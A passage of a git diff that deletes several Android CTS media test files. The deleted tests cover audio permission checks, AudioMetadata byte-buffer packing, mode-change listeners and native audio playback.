-            fail("setPreferredDevicesForStrategy must fail due to no permission");
-        } catch (SecurityException e) {
-        }
-        try {
-            mAudioManager.getPreferredDevicesForStrategy(strategyForMedia);
-            fail("getPreferredDevicesForStrategy must fail due to no permission");
-        } catch (SecurityException e) {
-        }
-        MyPrevDevForStrategyListener listener = new MyPrevDevForStrategyListener();
-        try {
-            mAudioManager.addOnPreferredDevicesForStrategyChangedListener(
-                    Executors.newSingleThreadExecutor(), listener);
-            fail("addOnPreferredDevicesForStrategyChangedListener must fail due to no permission");
-        } catch (SecurityException e) {
-        }
-        // There is not listener added at server side. Nothing to remove.
-        mAudioManager.removeOnPreferredDevicesForStrategyChangedListener(listener);
-    }
-
-    static class MyPrevDevicesForCapturePresetChangedListener implements
-            AudioManager.OnPreferredDevicesForCapturePresetChangedListener {
-        @Override
-        public void onPreferredDevicesForCapturePresetChanged(
-                int capturePreset, List<AudioDeviceAttributes> devices) {
-            fail("onPreferredDevicesForCapturePresetChanged must not be called");
-        }
-    }
-
-    public void testPreferredDeviceForCapturePreset() {
-        AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_INPUTS);
-        if (devices.length <= 0) {
-            Log.i(TAG, "Skip testPreferredDevicesForStrategy as there is no input device");
-            return;
-        }
-        final AudioDeviceAttributes ada = new AudioDeviceAttributes(devices[0]);
-
-        try {
-            mAudioManager.setPreferredDeviceForCapturePreset(MediaRecorder.AudioSource.MIC, ada);
-            fail("setPreferredDeviceForCapturePreset must fail due to no permission");
-        } catch (SecurityException e) {
-        }
-        try {
-            mAudioManager.getPreferredDevicesForCapturePreset(MediaRecorder.AudioSource.MIC);
-            fail("getPreferredDevicesForCapturePreset must fail due to no permission");
-        } catch (SecurityException e) {
-        }
-        try {
-            mAudioManager.clearPreferredDevicesForCapturePreset(MediaRecorder.AudioSource.MIC);
-            fail("clearPreferredDevicesForCapturePreset must fail due to no permission");
-        } catch (SecurityException e) {
-        }
-        MyPrevDevicesForCapturePresetChangedListener listener =
-                new MyPrevDevicesForCapturePresetChangedListener();
-        try {
-            mAudioManager.addOnPreferredDevicesForCapturePresetChangedListener(
-                Executors.newSingleThreadExecutor(), listener);
-            fail("addOnPreferredDevicesForCapturePresetChangedListener must fail"
-                    + "due to no permission");
-        } catch (SecurityException e) {
-        }
-        // There is not listener added at server side. Nothing to remove.
-        mAudioManager.removeOnPreferredDevicesForCapturePresetChangedListener(listener);
-    }
-
-    public void testGetDevices() {
-        AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL);
-        for (AudioDeviceInfo device : devices) {
-            HashSet<Integer> formats = IntStream.of(device.getEncodings()).boxed()
-                    .collect(Collectors.toCollection(HashSet::new));
-            HashSet<Integer> channelMasks = IntStream.of(device.getChannelMasks()).boxed()
-                    .collect(Collectors.toCollection(HashSet::new));
-            HashSet<Integer> channelIndexMasks = IntStream.of(device.getChannelIndexMasks()).boxed()
-                    .collect(Collectors.toCollection(HashSet::new));
-            HashSet<Integer> sampleRates = IntStream.of(device.getSampleRates()).boxed()
-                    .collect(Collectors.toCollection(HashSet::new));
-            HashSet<Integer> formatsFromProfile = new HashSet<>();
-            HashSet<Integer> channelMasksFromProfile = new HashSet<>();
-            HashSet<Integer> channelIndexMasksFromProfile = new HashSet<>();
-            HashSet<Integer> sampleRatesFromProfile = new HashSet<>();
-            for (AudioProfile profile : device.getAudioProfiles()) {
-                formatsFromProfile.add(profile.getFormat());
-                channelMasksFromProfile.addAll(Arrays.stream(profile.getChannelMasks()).boxed()
-                        .collect(Collectors.toList()));
-                channelIndexMasksFromProfile.addAll(Arrays.stream(profile.getChannelIndexMasks())
-                        .boxed().collect(Collectors.toList()));
-                sampleRatesFromProfile.addAll(Arrays.stream(profile.getSampleRates()).boxed()
-                        .collect(Collectors.toList()));
-                assertTrue(ALL_ENCAPSULATION_TYPES.contains(profile.getEncapsulationType()));
-            }
-            for (AudioDescriptor descriptor : device.getAudioDescriptors()) {
-                assertNotEquals(AudioDescriptor.STANDARD_NONE, descriptor.getStandard());
-                assertNotNull(descriptor.getDescriptor());
-                assertTrue(
-                        ALL_KNOWN_ENCAPSULATION_TYPES.contains(descriptor.getEncapsulationType()));
-            }
-            assertEquals(formats, formatsFromProfile);
-            assertEquals(channelMasks, channelMasksFromProfile);
-            assertEquals(channelIndexMasks, channelIndexMasksFromProfile);
-            assertEquals(sampleRates, sampleRatesFromProfile);
-        }
-    }
-
-    private void assertStreamVolumeEquals(int stream, int expectedVolume) throws Exception {
-        assertStreamVolumeEquals(stream, expectedVolume,
-                "Unexpected stream volume for stream=" + stream);
-    }
-
-    // volume adjustments are asynchronous, we poll the volume in case the volume state hasn't
-    // been adjusted yet
-    private void assertStreamVolumeEquals(int stream, int expectedVolume, String msg)
-            throws Exception {
-        final long startPoll = SystemClock.uptimeMillis();
-        int actualVolume = mAudioManager.getStreamVolume(stream);
-        while (SystemClock.uptimeMillis() - startPoll < POLL_TIME_VOLUME_ADJUST
-                && expectedVolume != actualVolume) {
-            actualVolume = mAudioManager.getStreamVolume(stream);
-        }
-        assertEquals(msg, expectedVolume, actualVolume);
-    }
-
-    // volume adjustments are asynchronous, we poll the volume in case the mute state hasn't
-    // changed yet
-    private void assertStreamMuted(int stream, boolean expectedMuteState, String msg)
-            throws Exception{
-        final long startPoll = SystemClock.uptimeMillis();
-        boolean actualMuteState = mAudioManager.isStreamMute(stream);
-        while (SystemClock.uptimeMillis() - startPoll < POLL_TIME_VOLUME_ADJUST
-                && expectedMuteState != actualMuteState) {
-            actualMuteState = mAudioManager.isStreamMute(stream);
-        }
-        assertEquals(msg, expectedMuteState, actualMuteState);
-    }
-
-    private void assertMusicActive(boolean expectedIsMusicActive) throws Exception {
-        final long startPoll = SystemClock.uptimeMillis();
-        boolean actualIsMusicActive = mAudioManager.isMusicActive();
-        while (SystemClock.uptimeMillis() - startPoll < POLL_TIME_PLAY_MUSIC
-                && expectedIsMusicActive != actualIsMusicActive) {
-            actualIsMusicActive = mAudioManager.isMusicActive();
-        }
-        assertEquals(actualIsMusicActive, actualIsMusicActive);
-    }
-
-    private static final long REPEATED_CHECK_POLL_PERIOD_MS = 100; // 100ms
-    private static final long DEFAULT_ASYNC_CALL_TIMEOUT_MS = 5 * REPEATED_CHECK_POLL_PERIOD_MS;
-
-    /**
-     * Makes multiple attempts over a given timeout period to test the predicate on an AudioManager
-     * instance. Test success is evaluated against a true predicate result.
-     * @param am the AudioManager instance to use for the test
-     * @param predicate the test to run either until it returns true, or until the timeout expires
-     * @param timeoutMs the maximum time allowed for the test to pass
-     * @param errorString the string to be displayed in case of failure
-     * @throws Exception
-     */
-    private void assertTrueCheckTimeout(AudioManager am, Predicate<AudioManager> predicate,
-            long timeoutMs, String errorString) throws Exception {
-        long checkStart = SystemClock.uptimeMillis();
-        boolean result = false;
-        while (SystemClock.uptimeMillis() - checkStart < timeoutMs) {
-            result = predicate.test(am);
-            if (result) {
-                break;
-            }
-            Thread.sleep(REPEATED_CHECK_POLL_PERIOD_MS);
-        }
-        assertTrue(errorString, result);
-    }
-
-    // getParameters() & setParameters() are deprecated, so don't test
-
-    // setAdditionalOutputDeviceDelay(), getAudioVolumeGroups(), getVolumeIndexForAttributes()
-    // getMinVolumeIndexForAttributes(), getMaxVolumeIndexForAttributes() &
-    // setVolumeIndexForAttributes() require privledged permission MODIFY_AUDIO_ROUTING
-    // and thus cannot be tested here.
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioMetadataTest.java b/tests/tests/media/src/android/media/cts/AudioMetadataTest.java
deleted file mode 100644
index 3074bfb..0000000
--- a/tests/tests/media/src/android/media/cts/AudioMetadataTest.java
+++ /dev/null
@@ -1,360 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.*;
-import static org.testng.Assert.assertThrows;
-
-import android.icu.util.ULocale;
-import android.media.AudioFormat;
-import android.media.AudioMetadata;
-import android.media.AudioMetadataMap;
-import android.media.AudioMetadataReadMap;
-import android.media.AudioPresentation;
-import android.util.Log;
-import androidx.test.runner.AndroidJUnit4;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.nio.ByteBuffer;
-import java.nio.ByteOrder;
-
-@NonMediaMainlineTest
-@RunWith(AndroidJUnit4.class)
-public class AudioMetadataTest {
-
-    // Trial keys to test with.
-    private static final AudioMetadata.Key<Integer>
-        KEY_INTEGER = AudioMetadata.createKey("integer", Integer.class);
-    private static final AudioMetadata.Key<Number>
-        KEY_NUMBER = AudioMetadata.createKey("number", Number.class);
-    private static final AudioMetadata.Key<String>
-        KEY_STRING = AudioMetadata.createKey("string", String.class);
-    private static final AudioMetadata.Key<Long>
-        KEY_LONG = AudioMetadata.createKey("long", Long.class);
-    private static final AudioMetadata.Key<Float>
-        KEY_FLOAT = AudioMetadata.createKey("float", Float.class);
-    private static final AudioMetadata.Key<Double>
-        KEY_DOUBLE = AudioMetadata.createKey("double", Double.class);
-    private static final AudioMetadata.Key<AudioMetadata.BaseMap>
-        KEY_BASE_MAP = AudioMetadata.createKey("data", AudioMetadata.BaseMap.class);
-
-    @Test
-    public void testKey() throws Exception {
-        assertEquals("integer", KEY_INTEGER.getName());
-        assertEquals("number", KEY_NUMBER.getName());
-        assertEquals("string", KEY_STRING.getName());
-
-        assertEquals(Integer.class, KEY_INTEGER.getValueClass());
-        assertEquals(Number.class, KEY_NUMBER.getValueClass());
-        assertEquals(String.class, KEY_STRING.getValueClass());
-    }
-
-    @Test
-    public void testMap() throws Exception {
-        final AudioMetadataMap audioMetadata = AudioMetadata.createMap();
-
-        int ivalue;
-        String svalue;
-
-        audioMetadata.set(KEY_INTEGER, 10);
-        ivalue = audioMetadata.get(KEY_INTEGER);
-        assertEquals(10, ivalue);
-
-        // Because the get is typed, the following cannot compile.
-        // audioMetadata.set(KEY_INTEGER, "abc");
-        // String svalue = audioMetadata.get(KEY_INTEGER);
-
-        assertEquals(1, audioMetadata.size());
-
-        audioMetadata.set(KEY_STRING, "abc");
-        svalue = audioMetadata.get(KEY_STRING);
-        assertEquals("abc", svalue);
-
-        // Because the set is typed, the following cannot compile
-        // audioMetadata.set(KEY_STRING, 10);
-        // ivalue = audioMetadata.get(KEY_STRING);
-
-        assertEquals(2, audioMetadata.size());
-        assertTrue(audioMetadata.containsKey(KEY_STRING));
-        // We should be able to remove the string
-        svalue = audioMetadata.remove(KEY_STRING);
-        assertEquals("abc", svalue);
-
-        assertEquals(1, audioMetadata.size());
-        assertFalse(audioMetadata.containsKey(KEY_STRING));
-        assertTrue(audioMetadata.containsKey(KEY_INTEGER));
-
-        // Try a generic Number.
-        Number nvalue;
-        audioMetadata.set(KEY_NUMBER, 2.125f);
-        nvalue = audioMetadata.get(KEY_NUMBER);
-        assertEquals(2.125f, nvalue.floatValue(), 0.f);
-
-        // Verify we handle null properly.
-        assertThrows(NullPointerException.class,
-            () -> { audioMetadata.get(null); }
-        );
-        assertThrows(NullPointerException.class,
-            () -> { audioMetadata.set(null, 1); }
-        );
-        assertThrows(NullPointerException.class,
-            () -> { audioMetadata.set(KEY_NUMBER, null); }
-        );
-
-        // check creating a map from another map.
-        assertEquals(audioMetadata, audioMetadata.dup());
-    }
-
-    @Test
-    public void testFormatKeys() throws Exception {
-        final AudioMetadataMap audioMetadata = AudioMetadata.createMap();
-        audioMetadata.set(AudioMetadata.Format.KEY_PRESENTATION_ID, 1);
-        audioMetadata.set(AudioMetadata.Format.KEY_PROGRAM_ID, 2);
-        audioMetadata.set(AudioMetadata.Format.KEY_PRESENTATION_CONTENT_CLASSIFIER,
-                AudioPresentation.CONTENT_MUSIC_AND_EFFECTS);
-        audioMetadata.set(AudioMetadata.Format.KEY_PRESENTATION_LANGUAGE,
-                ULocale.ENGLISH.getISO3Language());
-        audioMetadata.set(AudioMetadata.Format.KEY_ATMOS_PRESENT, true);
-        audioMetadata.set(AudioMetadata.Format.KEY_AUDIO_ENCODING, AudioFormat.ENCODING_MP3);
-        audioMetadata.set(AudioMetadata.Format.KEY_BIT_RATE, 64000);
-        audioMetadata.set(AudioMetadata.Format.KEY_BIT_WIDTH, 16);
-        audioMetadata.set(AudioMetadata.Format.KEY_CHANNEL_MASK, AudioFormat.CHANNEL_OUT_STEREO);
-        audioMetadata.set(AudioMetadata.Format.KEY_MIME, "audio/mp3");
-        audioMetadata.set(AudioMetadata.Format.KEY_SAMPLE_RATE, 48000);
-
-        assertEquals(64000, (int)audioMetadata.get(AudioMetadata.Format.KEY_BIT_RATE));
-        assertEquals(AudioFormat.CHANNEL_OUT_STEREO,
-                (int)audioMetadata.get(AudioMetadata.Format.KEY_CHANNEL_MASK));
-        assertEquals("audio/mp3", (String)audioMetadata.get(AudioMetadata.Format.KEY_MIME));
-        assertEquals(48000, (int)audioMetadata.get(AudioMetadata.Format.KEY_SAMPLE_RATE));
-        assertEquals(16, (int)audioMetadata.get(AudioMetadata.Format.KEY_BIT_WIDTH));
-        assertEquals(true, (boolean)audioMetadata.get(AudioMetadata.Format.KEY_ATMOS_PRESENT));
-        assertEquals(AudioFormat.ENCODING_MP3,
-                (int)audioMetadata.get(AudioMetadata.Format.KEY_AUDIO_ENCODING));
-        assertEquals(1, (int)audioMetadata.get(AudioMetadata.Format.KEY_PRESENTATION_ID));
-        assertEquals(2, (int)audioMetadata.get(AudioMetadata.Format.KEY_PROGRAM_ID));
-        assertEquals(AudioPresentation.CONTENT_MUSIC_AND_EFFECTS,
-            (int)audioMetadata.get(AudioMetadata.Format.KEY_PRESENTATION_CONTENT_CLASSIFIER));
-        assertEquals(ULocale.ENGLISH.getISO3Language(),
-            audioMetadata.get(AudioMetadata.Format.KEY_PRESENTATION_LANGUAGE));
-
-        // Additional test to ensure we can survive parceling
-        testPackingAndUnpacking((AudioMetadata.BaseMap)audioMetadata);
-    }
-
-    // Vendor keys created by direct override of the AudioMetadata interface.
-    private static final AudioMetadata.Key<Integer>
-        KEY_VENDOR_INTEGER = new AudioMetadata.Key<Integer>() {
-        @Override
-        public String getName() {
-            return "vendor.integerData";
-        }
-
-        @Override
-        public Class<Integer> getValueClass() {
-            return Integer.class;  // matches Class<Integer>
-        }
-    };
-
-    private static final AudioMetadata.Key<Double>
-        KEY_VENDOR_DOUBLE = new AudioMetadata.Key<Double>() {
-        @Override
-        public String getName() {
-            return "vendor.doubleData";
-        }
-
-        @Override
-        public Class<Double> getValueClass() {
-            return Double.class;  // matches Class<Double>
-        }
-    };
-
-    private static final AudioMetadata.Key<String>
-            KEY_VENDOR_STRING = new AudioMetadata.Key<String>() {
-        @Override
-        public String getName() {
-            return "vendor.stringData";
-        }
-
-        @Override
-        public Class<String> getValueClass() {
-            return String.class;  // matches Class<String>
-        }
-    };
-
-    @Test
-    public void testVendorKeys() {
-        final AudioMetadataMap audioMetadata = AudioMetadata.createMap();
-
-        audioMetadata.set(KEY_VENDOR_INTEGER, 10);
-        final int ivalue = audioMetadata.get(KEY_VENDOR_INTEGER);
-        assertEquals(10, ivalue);
-
-        audioMetadata.set(KEY_VENDOR_DOUBLE, 11.5);
-        final double dvalue = audioMetadata.get(KEY_VENDOR_DOUBLE);
-        assertEquals(11.5, dvalue, 0. /* epsilon */);
-
-        audioMetadata.set(KEY_VENDOR_STRING, "alphabet");
-        final String svalue = audioMetadata.get(KEY_VENDOR_STRING);
-        assertEquals("alphabet", svalue);
-    }
-
-    // The byte buffer here is generated by audio_utils::metadata::byteStringFromData(Data).
-    // Data data = {
-    //     "integer": (int32_t) 1,
-    //     "long": (int64_t) 2,
-    //     "float": (float) 3.1f,
-    //     "double": (double) 4.11,
-    //     "data": (Data) {
-    //         "string": (std::string) "hello",
-    //     }
-    // }
-    // Use to test compatibility of packing/unpacking audio metadata.
-    // DO NOT CHANGE after R
-    private static final byte[] BYTE_BUFFER_REFERENCE = new byte[] {
-            // Number of items
-            0x05, 0x00, 0x00, 0x00,
-            // Length of 1st key
-            0x04, 0x00, 0x00, 0x00,
-            // Payload of 1st key
-            0x64, 0x61, 0x74, 0x61,
-            // Data type of 1st value
-            0x06, 0x00, 0x00, 0x00,
-            // Length of 1st value
-            0x1f, 0x00, 0x00, 0x00,
-            // Payload of 1st value
-            0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
-            0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x05, 0x00,
-            0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x05, 0x00,
-            0x00, 0x00, 0x68, 0x65, 0x6c, 0x6c, 0x6f,
-            // Length of 2nd key
-            0x06, 0x00, 0x00, 0x00,
-            // Payload of 2nd key
-            0x64, 0x6f, 0x75, 0x62, 0x6c, 0x65,
-            // Data type of 2nd value
-            0x04, 0x00, 0x00, 0x00,
-            // Length of 2nd value
-            0x08, 0x00, 0x00, 0x00,
-            // Payload of 2nd value
-            0x71, 0x3d, 0x0a, (byte) 0xd7, (byte) 0xa3, 0x70, 0x10, 0x40,
-            // Length of 3rd key
-            0x05, 0x00, 0x00, 0x00,
-            // Payload of 3rd key
-            0x66, 0x6c, 0x6f, 0x61, 0x74,
-            // Data type of 3rd value
-            0x03, 0x00, 0x00, 0x00,
-            // Length of 3rd value
-            0x04, 0x00, 0x00, 0x00,
-            // Payload of 3rd value
-            0x66, 0x66, 0x46, 0x40,
-            // Length of 4th key
-            0x07, 0x00, 0x00, 0x00,
-            // Payload of 4th key
-            0x69, 0x6e, 0x74, 0x65, 0x67, 0x65, 0x72,
-            // Data type of 4th value
-            0x01, 0x00, 0x00, 0x00,
-            // Length of 4th value
-            0x04, 0x00, 0x00, 0x00,
-            // Payload of 4th value
-            0x01, 0x00, 0x00, 0x00,
-            // Length of 5th key
-            0x04, 0x00, 0x00, 0x00,
-            // Payload of 5th key
-            0x6c, 0x6f, 0x6e, 0x67,
-            // Data type of 5th value
-            0x02, 0x00, 0x00, 0x00,
-            // Length of 5th value
-            0x08, 0x00, 0x00, 0x00,
-            // Payload of 5th value
-            0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
-    };
-    // AUDIO_METADATA_REFERENCE corresponds to BYTE_BUFFER_REFERENCE.
-    // DO NOT CHANGE after R
-    private static final AudioMetadata.BaseMap AUDIO_METADATA_REFERENCE =
-            new AudioMetadata.BaseMap() {{
-                set(KEY_INTEGER, 1);
-                set(KEY_LONG, (long) 2);
-                set(KEY_FLOAT, 3.1f);
-                set(KEY_DOUBLE, 4.11);
-                set(KEY_BASE_MAP, new AudioMetadata.BaseMap() {{
-                    set(KEY_STRING, "hello");
-                }});
-            }};
-
-    // Position of data type for first value in reference buffer.
-    // Will be used to set an invalid data type for test.
-    private static final int FIRST_VALUE_DATA_TYPE_POSITION_IN_REFERENCE = 12;
-    private static final byte INVALID_DATA_TYPE = (byte) 0xff;
-
-    @Test
-    public void testCompatibilityR() {
-        ByteBuffer bufferPackedAtJava = AudioMetadata.toByteBuffer(
-                AUDIO_METADATA_REFERENCE, ByteOrder.nativeOrder());
-        assertNotNull(bufferPackedAtJava);
-        ByteBuffer buffer = nativeGetByteBuffer(bufferPackedAtJava, bufferPackedAtJava.limit());
-        assertNotNull(buffer);
-        ByteBuffer refBuffer = ByteBuffer.allocate(BYTE_BUFFER_REFERENCE.length);
-        refBuffer.put(BYTE_BUFFER_REFERENCE);
-        refBuffer.position(0);
-        assertEquals(buffer, refBuffer);
-    }
-
-    @Test
-    public void testUnpackingByteBuffer() throws Exception {
-        testPackingAndUnpacking(AUDIO_METADATA_REFERENCE);
-    }
-
-    @Test
-    public void testUnpackingInvalidBuffer() throws Exception {
-        ByteBuffer buffer = ByteBuffer.allocate(BYTE_BUFFER_REFERENCE.length);
-        buffer.put(BYTE_BUFFER_REFERENCE);
-        buffer.order(ByteOrder.nativeOrder());
-
-        // Manually modify the buffer to create an invalid buffer with an invalid data type,
-        // a null should be returned when unpacking.
-        buffer.position(FIRST_VALUE_DATA_TYPE_POSITION_IN_REFERENCE);
-        buffer.put(INVALID_DATA_TYPE);
-        buffer.position(0);
-        AudioMetadata.BaseMap metadataFromByteBuffer = AudioMetadata.fromByteBuffer(buffer);
-        assertNull(metadataFromByteBuffer);
-    }
-
-    private static void testPackingAndUnpacking(AudioMetadata.BaseMap audioMetadata) {
-        ByteBuffer bufferPackedAtJava = AudioMetadata.toByteBuffer(
-                audioMetadata, ByteOrder.nativeOrder());
-        assertNotNull(bufferPackedAtJava);
-        ByteBuffer buffer = nativeGetByteBuffer(bufferPackedAtJava, bufferPackedAtJava.limit());
-        assertNotNull(buffer);
-        buffer.order(ByteOrder.nativeOrder());
-
-        AudioMetadata.BaseMap metadataFromByteBuffer = AudioMetadata.fromByteBuffer(buffer);
-        assertNotNull(metadataFromByteBuffer);
-        assertEquals(metadataFromByteBuffer, audioMetadata);
-    }
-
-    static {
-        System.loadLibrary("audio_jni");
-    }
-
-    /**
-     * Passing a ByteBuffer that contains audio metadata. In native, the buffer will be
-     * unpacked as native audio metadata and then reconstructed as ByteBuffer back to Java.
-     * This is aimed at testing round trip (un)packing logic.
-     */
-    private static native ByteBuffer nativeGetByteBuffer(ByteBuffer buffer, int sizeInBytes);
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioModeListenerTest.java b/tests/tests/media/src/android/media/cts/AudioModeListenerTest.java
deleted file mode 100644
index e222e28..0000000
--- a/tests/tests/media/src/android/media/cts/AudioModeListenerTest.java
+++ /dev/null
@@ -1,176 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.pm.PackageManager;
-import android.media.AudioManager;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-
-import androidx.test.filters.SdkSuppress;
-
-import com.android.compatibility.common.util.CtsAndroidTestCase;
-import com.android.internal.annotations.GuardedBy;
-
-import java.util.concurrent.Executors;
-
-
-
-@SdkSuppress(minSdkVersion = 31, codeName = "S")
-public class AudioModeListenerTest extends CtsAndroidTestCase {
-    private final static String TAG = "AudioModeListenerTest";
-
-    private AudioManager mAudioManager;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mAudioManager = getInstrumentation().getContext().getSystemService(AudioManager.class);
-    }
-
-    static class MyOnModeChangedListener implements AudioManager.OnModeChangedListener {
-
-        private final Object mCbLock = new Object();
-        @GuardedBy("mCbLock")
-        private boolean mCalled;
-        @GuardedBy("mCbLock")
-        private int mMode;
-
-        private static final int LISTENER_WAIT_TIMEOUT_MS = 3000;
-        void reset() {
-            synchronized (mCbLock) {
-                mCalled = false;
-                mMode = -1977; // magic value that doesn't match any mode
-            }
-        }
-
-        boolean wasCalled() {
-            synchronized (mCbLock) {
-                return mCalled;
-            }
-        }
-
-        int waitForModeUpdate() {
-            synchronized (mCbLock) {
-                while (!mCalled) {
-                    try {
-                        mCbLock.wait(LISTENER_WAIT_TIMEOUT_MS);
-                    } catch (InterruptedException e) {
-                    }
-                }
-                return mMode;
-            }
-        }
-
-        int getMode() {
-            synchronized (mCbLock) {
-                return mMode;
-            }
-        }
-
-        MyOnModeChangedListener() {
-            reset();
-        }
-
-        @Override
-        public void onModeChanged(int mode) {
-            synchronized (mCbLock) {
-                mCalled = true;
-                mMode = mode;
-                mCbLock.notifyAll();
-            }
-        }
-    }
-
-    @AppModeFull(reason = "Instant apps don't have MODIFY_AUDIO_SETTINGS")
-    public void testModeListener() throws Exception {
-        if (!isValidPlatform("testModeListener")) return;
-
-        MyOnModeChangedListener listener = new MyOnModeChangedListener();
-
-        try {
-            mAudioManager.addOnModeChangedListener(null, listener);
-            fail("addOnModeChangedListener should fail with null executor");
-        } catch (Exception e) {
-        }
-
-        try {
-            mAudioManager.addOnModeChangedListener(
-                    Executors.newSingleThreadExecutor(), null);
-            fail("addOnModeChangedListener should fail with null listener");
-        } catch (Exception e) {
-        }
-
-        try {
-            mAudioManager.removeOnModeChangedListener(null);
-            fail("removeOnModeChangedListener should fail with null listener");
-        } catch (Exception e) {
-        }
-
-        try {
-            mAudioManager.addOnModeChangedListener(
-                Executors.newSingleThreadExecutor(), listener);
-        } catch (Exception e) {
-            fail("addOnModeChangedListener failed with exception: " + e);
-        }
-
-        try {
-            mAudioManager.addOnModeChangedListener(
-                Executors.newSingleThreadExecutor(), listener);
-            fail("addOnCommunicationDeviceChangedListener succeeded for same listener");
-        } catch (Exception e) {
-        }
-
-        int originalMode = mAudioManager.getMode();
-        int testMode = (originalMode == AudioManager.MODE_NORMAL)
-                ? AudioManager.MODE_RINGTONE : AudioManager.MODE_NORMAL;
-
-        mAudioManager.setMode(testMode);
-        int dispatchedMode = listener.waitForModeUpdate();
-        assertTrue("listener wasn't called", listener.wasCalled());
-        assertEquals("Mode not updated correctly", testMode, dispatchedMode);
-
-        listener.reset();
-
-        if (originalMode == AudioManager.MODE_NORMAL) {
-            mAudioManager.setMode(originalMode);
-
-            dispatchedMode = listener.waitForModeUpdate();
-            assertTrue("listener wasn't called for mode restore", listener.wasCalled());
-            assertEquals("Mode not updated correctly for mode restore",
-                    originalMode, dispatchedMode);
-        }
-
-        try {
-            mAudioManager.removeOnModeChangedListener(listener);
-        } catch (Exception e) {
-            fail("removeOnModeChangedListener failed with exception: " + e);
-        }
-    }
-
-    private boolean isValidPlatform(String testName) {
-        PackageManager pm = getInstrumentation().getContext().getPackageManager();
-        if (!pm.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)
-                ||  pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY)
-                || !pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            Log.i(TAG,"Skipping test " + testName
-                    + " : device has no audio output or is a TV or does not support telephony");
-            return false;
-        }
-        return true;
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioNativeTest.java b/tests/tests/media/src/android/media/cts/AudioNativeTest.java
deleted file mode 100644
index 0f1ba92b..0000000
--- a/tests/tests/media/src/android/media/cts/AudioNativeTest.java
+++ /dev/null
@@ -1,385 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.app.ActivityManager;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.media.AudioDeviceInfo;
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioRouting;
-import android.os.Build;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.CtsAndroidTestCase;
-
-@NonMediaMainlineTest
-public class AudioNativeTest extends CtsAndroidTestCase {
-    public static final int MAX_CHANNEL_COUNT = 2;
-    public static final int MAX_INDEX_MASK = (1 << MAX_CHANNEL_COUNT) - 1;
-
-    private static final int CHANNEL_INDEX_MASK_MAGIC = 0x80000000;
-
-    public void testAppendixBBufferQueue() {
-        nativeAppendixBBufferQueue();
-    }
-
-    public void testAppendixBRecording() {
-        // better to detect presence of microphone here.
-        if (!hasMicrophone()) {
-            return;
-        }
-        nativeAppendixBRecording();
-    }
-
-    public void testStereo16Playback() {
-        assertTrue(AudioTrackNative.test(
-                2 /* numChannels */, 48000 /* sampleRate */, false /* useFloat */,
-                20 /* msecPerBuffer */, 8 /* numBuffers */));
-    }
-
-    public void testStereo16Record() {
-        if (!hasMicrophone()) {
-            return;
-        }
-        assertTrue(AudioRecordNative.test(
-                2 /* numChannels */, 48000 /* sampleRate */, false /* useFloat */,
-                20 /* msecPerBuffer */, 8 /* numBuffers */));
-    }
-
-    public void testPlayStreamData() throws Exception {
-        final String TEST_NAME = "testPlayStreamData";
-        final boolean TEST_FLOAT_ARRAY[] = {
-                false,
-                true,
-        };
-        // due to downmixer algorithmic latency, source channels greater than 2 may
-        // sound shorter in duration at 4kHz sampling rate.
-        final int TEST_SR_ARRAY[] = {
-                /* 4000, */ // below limit of OpenSL ES
-                12345, // irregular sampling rate
-                44100,
-                48000,
-                96000,
-                192000,
-        };
-        final int TEST_CHANNELS_ARRAY[] = {
-                1,
-                2,
-                3,
-                4,
-                5,
-                6,
-                7,
-                // 8  // can fail due to memory issues
-        };
-        final float TEST_SWEEP = 0; // sine wave only
-        final int TEST_TIME_IN_MSEC = 300;
-        final int TOLERANCE_MSEC = 20;
-        final boolean TEST_IS_LOW_RAM_DEVICE = isLowRamDevice();
-        final long TEST_END_SLEEP_MSEC = TEST_IS_LOW_RAM_DEVICE ? 200 : 50;
-
-        for (boolean TEST_FLOAT : TEST_FLOAT_ARRAY) {
-            double frequency = 400; // frequency changes for each test
